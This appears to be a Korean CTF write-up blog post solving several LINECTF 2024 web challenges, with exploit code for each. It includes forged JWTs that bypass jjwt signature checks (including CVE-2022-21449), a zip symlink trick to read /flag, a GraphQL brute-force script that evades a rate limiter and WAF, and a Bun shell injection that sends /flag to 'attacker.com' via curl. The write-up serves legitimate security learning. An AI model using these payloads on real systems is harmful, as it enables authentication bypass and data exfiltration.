Avatar
Interest: Web Exploitation.
Activities: DreamHack, Baekjoon
I occasionally blogs about web security, tricks, and development.

LINECTF 2024

CTFtime: https://ctftime.org/event/2119

Official URL: https://linectf.me/

Writeup

jalyboy-baby

package me.linectf.jalyboy;

import io.jsonwebtoken.*;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.security.Keys;

import java.security.Key;
import java.security.KeyPair;

@Controller
public class JwtController {

    public static final String ADMIN = "admin";
    public static final String GUEST = "guest";
    public static final String UNKNOWN = "unknown";
    public static final String FLAG = System.getenv("FLAG");
    Key secretKey = Keys.secretKeyFor(SignatureAlgorithm.HS256);

    @GetMapping("/")
    public String index(@RequestParam(required = false) String j, Model model) {
        String sub = UNKNOWN;
        String jwt_guest = Jwts.builder().setSubject(GUEST).signWith(secretKey).compact();
        
        try {
            Jwt jwt = Jwts.parser().setSigningKey(secretKey).parse(j);
            Claims claims = (Claims) jwt.getBody();
            if (claims.getSubject().equals(ADMIN)) {
                sub = ADMIN;
            } else if (claims.getSubject().equals(GUEST)) {
                sub = GUEST;
            }
        } catch (Exception e) {
//            e.printStackTrace();
        }

        model.addAttribute("jwt", jwt_guest);
        model.addAttribute("sub", sub);
        if (sub.equals(ADMIN)) model.addAttribute("flag", FLAG);

        return "index";
    }
}

JWT 토큰은 Header.Payload.Signature로 3가지 형태를 갖는다. claims.getSubject() 함수는 Payload의 sub key의 value를 반환한다. 즉, Flag를 획득하기 위해선 Payload의 sub key 값을 admin이 되도록 변경해줘야한다.

다음으로, JWT 토큰은 Signature를 통해 인증을 수행한다. 하지만, Secret key를 알 수 없기 때문에 일반적으로 Payload를 수정해도 Signature 인증 과정에서 실패하게 된다.

그러나, 해당 문제에서는 Jwts.parser().setSigningKey(secretKey).parse(j) 함수를 통해 JWT 토큰을 파싱하고 있다.

https://github.com/jwtk/jjwt/issues/280

jjwtparse() 함수에 대한 Github Issue가 존재했는데 Signature 부분을 제외하고 Header.Payload. 형태로 토큰 값을 전달할 경우, 인증 과정을 무시하고 토큰을 파싱한다는 것이었다.

즉, eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9. 값을 토큰 값으로 넘겨주면 플래그를 획득할 수 있다.

Exploit Code

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.

Flag

LINECTF{337e737f9f2594a02c5c752373212ef7}

jalyboy-jalygirl

package me.linectf.jalyboy;

import io.jsonwebtoken.*;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.security.Keys;

import java.security.Key;
import java.security.KeyPair;

@Controller
public class JwtController {

    public static final String ADMIN = "admin";
    public static final String GUEST = "guest";
    public static final String UNKNOWN = "unknown";
    public static final String FLAG = System.getenv("FLAG");
    KeyPair keyPair = Keys.keyPairFor(SignatureAlgorithm.ES256);

    @GetMapping("/")
    public String index(@RequestParam(required = false) String j, Model model) {
        String sub = UNKNOWN;
        String jwt_guest = Jwts.builder().setSubject(GUEST).signWith(keyPair.getPrivate()).compact();

        try {
            Jws<Claims> jwt = Jwts.parser().setSigningKey(keyPair.getPublic()).parseClaimsJws(j);
            Claims claims = (Claims) jwt.getBody();
            if (claims.getSubject().equals(ADMIN)) {
                sub = ADMIN;
            } else if (claims.getSubject().equals(GUEST)) {
                sub = GUEST;
            }
        } catch (Exception e) {
//            e.printStackTrace();
        }

        model.addAttribute("jwt", jwt_guest);
        model.addAttribute("sub", sub);
        if (sub.equals(ADMIN)) model.addAttribute("flag", FLAG);

        return "index";
    }
}

jalyboy-baby 문제와 다른 점은 ES256 알고리즘으로 비대칭키를 생성하고 parseClaimsJws() 함수를 통해 토큰 인증을 수행하고 있다.

parseClaimsJws() 함수는 parse() 함수와 달리 Signature 검증을 수행하여 인증 여부를 확인한다.

dependencies {
	implementation 'org.springframework.boot:spring-boot-starter-freemarker'
	implementation 'org.springframework.boot:spring-boot-starter-web'
	annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
	testImplementation 'org.springframework.boot:spring-boot-starter-test'
	implementation 'io.jsonwebtoken:jjwt-api:0.11.2'
	runtimeOnly 'io.jsonwebtoken:jjwt-impl:0.11.2',
			// Uncomment the next line if you want to use RSASSA-PSS (PS256, PS384, PS512) algorithms:
			//'org.bouncycastle:bcprov-jdk15on:1.60',
			'io.jsonwebtoken:jjwt-jackson:0.11.2' // or 'io.jsonwebtoken:jjwt-gson:0.11.2' for gson
}

build.gradle 파일의 dependencies를 확인해보면, jjwt-jackson:0.11.2 버전을 사용하고 있음을 알 수 있다.

해당 버전에서 이슈가 존재하는지 확인해보았다.

CVE-2022-21449
https://github.com/jwtk/jjwt/issues/726

ECDSA Signaturer,s 값으로 구성되어있다. 하지만, r = s = 0 일 경우, 인증이 우회되는 문제가 발생한다. r,s 값이 0인 상태로 Signature를 생성하면 .MAYCAQACAQA 값이 만들어지게 되며, Header.Payload.MAYCAQACAQA 형태의 JWT 토큰 값을 넘겨주면 인증 우회가 가능해진다.

Exploit Code

import json 
from base64 import urlsafe_b64encode
# import hashlib
# import hmac 

header = {"alg": "ES256"}
payload = {"sub": "admin"}

contents = urlsafe_b64encode(json.dumps(header, separators=(",",":")).encode()).decode("UTF-8").strip("=") \
+ "." + urlsafe_b64encode(json.dumps(payload, separators=(",",":")).encode()).decode("UTF-8").strip("=")

contents = contents.encode().decode("UTF-8")

# key = "111"
# sig = urlsafe_b64encode(hmac.new(key.encode(), contents.encode(), hashlib.sha256).digest()).decode("UTF-8").strip("=")

print(contents+".MAYCAQACAQA")
# eyJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.MAYCAQACAQA

Flag

LINECTF{abaa4d1cb9870fd25776a81bbd278932}

zipviewer-version-citizen

func routes(_ app: Application) throws {
  app.post("upload") { req async throws -> ResponseMessage in
    _ = try getRealIPAddress(req: req)

    if !req.hasSession {
      throw Abort(.unauthorized, reason: "Session not found")
    }
    var hashed = ""
    var filePath = ""
    var fileName = ""

    let username = req.session.data["user"] ?? "Unknown"
    let uuid = req.session.data["uuid"] ?? "Unknown"
    req.logger.info("GET /upload -> NAME == \(username)")
    req.logger.info("GET /upload -> UUID == \(uuid)")

    do {
      if username == "Unknown" || uuid == "Unknown" {
        throw CustomError.MissingSessionError
      }

      hashed = try GenerateSHA256(username + uuid + SALT)
      filePath = "Upload/" + hashed
      fileName = filePath + ".zip"

      try ClearFiles(filepath: filePath)

      let file = try req.content.decode(Input.self).data

      try IsZipFile(data: file)
      try await req.fileio.writeFile(ByteBuffer(data: file), at: fileName)

      let fileList = try GetEntryListInZipFile(fileName: fileName)
      _ = try Unzip(filename: fileName, filepath: filePath)

      guard try CleanupUploadedFile(filePath: filePath, fileList: fileList) else {
          throw Abort(.internalServerError, reason: "Something Wrong")
      }
    } catch CustomError.InvalidZipFile {
      throw Abort(.badRequest, reason: "File is not Zip")
    } catch {
      try ClearFiles(filepath: filePath)
      throw Abort(.internalServerError, reason: "Something Wrong")
    }

    return ResponseMessage(message: "DONE", status: 200)
  }
}

ZIP 파일 업로드 시, 임의의 해시 값을 생성하여 ZIP 파일의 이름을 지정한다.

다음으로 ZIP 파일 여부 확인 후, 압축 해제를 통해 파일 리스트를 얻고 CleanupUploadedFile() 함수를 호출한다.

func IsSymbolicLink(filePath: String) throws -> Bool {
    let fileAttributes = try FileManager.default.attributesOfItem(atPath: filePath)
    let fileType = fileAttributes[.type] as? FileAttributeType

    if fileType == .typeSymbolicLink {
        return true
    }

    return false
}

func CleanupUploadedFile(filePath: String, fileList: [String]) throws -> Bool {
    do {
        let fileManager = FileManager()
        let currentWorkingPath = fileManager.currentDirectoryPath

        print("File Count \(fileList.count)")

        for fileName in fileList {
            var originPath = URL(fileURLWithPath: currentWorkingPath)

            originPath.appendPathComponent(filePath)
            originPath.appendPathComponent(fileName)

            if !fileManager.fileExists(atPath: originPath.path) {
                print("file not found")
                continue
            }

            if (try IsSymbolicLink(filePath: originPath.path)) {
                print("Find Symbol!! >> \(originPath.path)")
                try fileManager.removeItem(at: originPath)
            }
        }
    } catch {
        return false
    }

    return true
}

CleanupUploadedFile() 내부를 보면, IsSymbolicLink() 함수를 통해 심볼릭 링크(Symbolic Link)가 걸려 있는지 확인한다. 즉, 심볼릭 링크가 걸려있을 경우, 파일을 삭제한다. 즉, ln -s /flag f && zip -y exp.zip f 와 같이 압축할 경우, 파일이 삭제된다.

$ mkdir sol
$ cd sol
$ ln -s /flag f
$ mkdir a
$ cd ..
$ zip -y sol.zip sol/a/../f

하지만, 심볼릭 링크(Symbolic Link)에 ../를 포함하면 IsSymbolicLink() 함수를 우회하여 파일이 삭제되지 않는다.

Exploit Code

# 0. ZIP 파일 생성
$ mkdir sol
$ cd sol
$ ln -s /flag f
$ mkdir a
$ cd ..
$ zip -y sol.zip sol/a/../f

# 1. ZIP 파일 업로드 (직접)
# 2. 심볼릭 링크가 걸린 파일 다운로드 
curl 'http://34.84.43.130:11000/download/sol/f' -H 'Cookie: vapor_session=bixPr32gfdtPZUQG0Fd0Iy55rtsxALh11/w1NHK1Clk='

Flag

LINECTF{af9390451ae12393880d76ea1f6cffc1}

zipviewer-version-clown

zipviewer-version-citizen 문제와 동일한 방식으로 풀이

Flag

LINECTF{34d98811f9f20094d1cc75af9299e636}

G0tcha-G0tcha-doggy

graphql-101

index.js

const express = require("express")
const { graphqlHTTP } = require("express-graphql")
const { buildSchema } = require("graphql")
const path = require("path");
const crypto = require('crypto');

const STRENGTH_CHALLENGE = 999;
const NUM_CHALLENGE = 40;
const ERROR_MSG = "Wrong !!!";
const CORRECT_MSG = "OK !!!";

var otps = Object.create(null);
otps["admin"] = Object.create(null);
function genOtp(ip, force = false) {
  if (force || !otps["admin"][ip]) {
    function intToString(v) {
      let s = v.toString();
      while (s.length !== STRENGTH_CHALLENGE.toString().length) s = '0' + s;
      return s;
    }
    const otp = [];
    for (let i = 0; i < NUM_CHALLENGE; ++i)
      otp.push(
        intToString(crypto.randomInt(0, STRENGTH_CHALLENGE))
      );
    otps["admin"][ip] = otp;
  }
}

otp 배열에 0 ~ 999 사이의 임의의 랜덤 값을 40개 생성한다.

const rateLimiter = require('express-rate-limit')({
  windowMs: 30 * 60 * 1000,
  max: 5,
  standardHeaders: true,
  legacyHeaders: false,
  onLimitReached: async (req) => genOtp(req.ip, true)
});

HTTP Request는 최대 5회로 지정되어있고, 초과하게 되면 30분 동안 요청을 보낼 수 없게 된다. 추가적으로, genOtp() 함수를 호출하여 otp 값이 새로 할당된다.

function checkOtp(username, ip, idx, otp) {
  if (!otps[username]) return false;
  if (!otps[username][ip]) return false;
  return otps[username][ip][idx] === otp;
}

// Construct a schema, using GraphQL schema language
const schema = buildSchema(`
  type Query {
    otp(u: String!, i: Int!, otp: String!): String!
  }
`);

const root = {
  otp: ({ u, i, otp }, req) => {
    if (i >= NUM_CHALLENGE || i < 0) return ERROR_MSG;
    if (!checkOtp(u, req.ip, i, otp)) return ERROR_MSG;
    rateLimiter.resetKey(req.ip);
    otps[u][req.ip][i] = 1;
    return CORRECT_MSG;
  },
}

const app = express();

... 

app.use((req, res, next) => { genOtp(req.ip); next() });
app.use(require('body-parser').json({ limit: '128b' }));
app.use(
  "/graphql",
  rateLimiter,
  graphqlHTTP({
    schema: schema,
    rootValue: root,
  })
);

유저가 HTTP Request를 통해 graphql query를 전달하면, checkOtp() 함수를 통해 i번째 otp 값과 유저가 입력한 otp를 비교한다.

otp 값이 동일할 경우, 요청 횟수 제한을 초기화하고 otps[u][req.ip][i] 값을 1로 설정한다.

app.get('/admin', (req, res) => {
  let sum = 0;
  for (let i = 0; i < NUM_CHALLENGE; ++i)
    sum += otps["admin"][req.ip][i]; 
  res.send((sum === NUM_CHALLENGE) ? process.env.FLAG : ERROR_MSG);
});

즉, 모든 otp 값을 찾고 /admin 경로에 접근하면 FLAG를 얻을 수 있다.

waf.js

function isDangerousValue(s) {
  return s.includes('admin') || s.includes('\\'); // Linux does not need to support "\"
}

/** Secured WAF for admin on Linux */
function isDangerousPayload(obj) {
  if (!obj) return false;
  const keys = Object.keys(obj);

  // check key, value
  for (let i = 0; i < keys.length; ++i) {
    const key = keys[i];
    if (isDangerousValue(key)) return true;
    if (typeof obj[key] === 'object') {
      if (isDangerousPayload(obj[key])) return true;
    } else {
      const val = obj[key].toString();
      if (isDangerousValue(val)) return true;
    }
  }
  return false;
}

module.exports = {
  isDangerousValue,
  isDangerousPayload,
}

index.js

const { isDangerousPayload, isDangerousValue } = require('./waf');
app.use((req, res, next) => {
  if (isDangerousValue(req.url)) return res.send(ERROR_MSG);
  if (isDangerousPayload(req.query)) return res.send(ERROR_MSG);
  next();
});

추가적으로, req.urlreq.queryadmin 키워드를 사용할 수 없다. /admin 경로에 접근하기 위해 /Admin 경로에 접근하여 이를 우회할 수 있다. 또한, req.query에서는 graphql variable을 활용하여 우회가 가능하다.

Exploit Code

import requests 
import string

NUM_CHALLENGE = 40 
STRENGTH_CHALLENGE = 999

url =  "http://localhost:7654"
s = requests.Session() 

alias = [ ]
for x1 in string.ascii_lowercase: 
    for x2 in string.ascii_lowercase:              
        alias.append(x1 + x2)

k = 0
offset = 250
for i in range(NUM_CHALLENGE): 
    for n in range(0, STRENGTH_CHALLENGE, offset): 
        
        qry = "query Qry($u:String!){"
        for j, otp in enumerate(range(n, min(n + offset, STRENGTH_CHALLENGE))):
            qry += f'{alias[j]}:otp(u:$u,i:{i},otp:"{otp:03d}")' 

        qry += "}"
        print(qry)

        r = s.post(
                f"{url}/graphql?query={qry}", 
                json={"variables": { "u": "admin" }}
            )
        
        if "OK !!!" in r.text: 
            print(r.text)
            break

r = s.get(f"{url}/Admin")   
print(r.text)

Flag

LINECTF{db37c207abbc5f2863be4667129f70e0}

Boom-Boom-Hell

import { $, escapeHTML } from "bun";
import qs from "qs";

const port = process.env.PORT || 3000;
const logFile = process.env.LOGFILE || ".log";

const server = Bun.serve({
    host: "0.0.0.0",
    port: port,
    async fetch(req) {
        const url = new URL(req.url);
        if (url.pathname === "/chall") {
            const params = qs.parse(url.search, { ignoreQueryPrefix: true });
            if (params.url.length < escapeHTML(params.url).length) {    // dislike suspicious chars
                return new Response("sorry, but the given URL is too complex for me");
            }

            const lyURL = new URL(params.url, "https://www.lycorp.co.jp");
            if (lyURL.origin !== "https://www.lycorp.co.jp") {
                return new Response("don't you know us?");
            }

            const rawFetched = await $`curl -sL ${lyURL}`.text();
            const counts = {
                "L": [...rawFetched.matchAll(/LINE/g)].length,
                "Y": [...rawFetched.matchAll(/Yahoo!/g)].length,
            }

            await $`echo $(date '+%Y-%m-%dT%H:%M:%S%z') - ${params.url} ::: ${JSON.stringify(counts)} >> ${logFile}`;

            const highlighted = escapeHTML(rawFetched)
                .replace(/LINE/g, "<mark style='color: #06C755'>$&</mark>")
                .replace(/Yahoo!/g, "<mark style='color: #FF0033'>$&</mark>");
            const html = `
                <h1>Your score is... 🐐<${counts.L + counts.Y}</h1>
                <details open>
                    <summary>Result</summary>
                    <blockquote>${highlighted}</blockquote>            
                </details>
            `;
            return new Response(html, { headers: { "Content-Type": "text/html; charset=utf-8" } });
        } else {
            return new Response("🎶😺≡≡≡😺🎶 Happy Happy Happy~")
        }
    }
});

console.log(`😺 on http://localhost:${server.port}`);

유저가 입력한 URL에 curl로 요청을 보내 결과 값을 페이지에 띄워주고 있다.

하지만, 유저 입력에 대해 필터링이 제대로 걸려있지 않다. 이로 인해, Command Injection 취약점이 발생한다.

If you do not want your string to be escaped, wrap it in a { raw: ‘str’ } object:

import { $ } from "bun";

await $`echo ${{ raw: '$(foo) `bar` "baz"' }}`
// => bun: command not found: foo
// => bun: command not found: bar
// => baz

https://bun.sh/docs/runtime/shell#escape-escape-strings

Bun shell 공식 문서를 보면, unescape string을 사용하기 위해서는 { raw: 'str'} 객체를 사용하라고 되어있다.

위 예시를 보면, '$(foo) `bar` "baz"' 문자열이 Shell에서 명령으로 인식되고 있음을 알 수 있다.

즉, /chall?url[raw]=$(command) 형태로 값을 전달하면 플래그를 획득할 수 있다.

Exploit Code

http://34.146.180.210:3000/chall?url[raw]=$(curl%20-d%20@/flag%20https://attacker.com/)

Flag

LINECTF{f405e3a998df00e4a9e9cc153d353770}

Heritage

hhhhhhref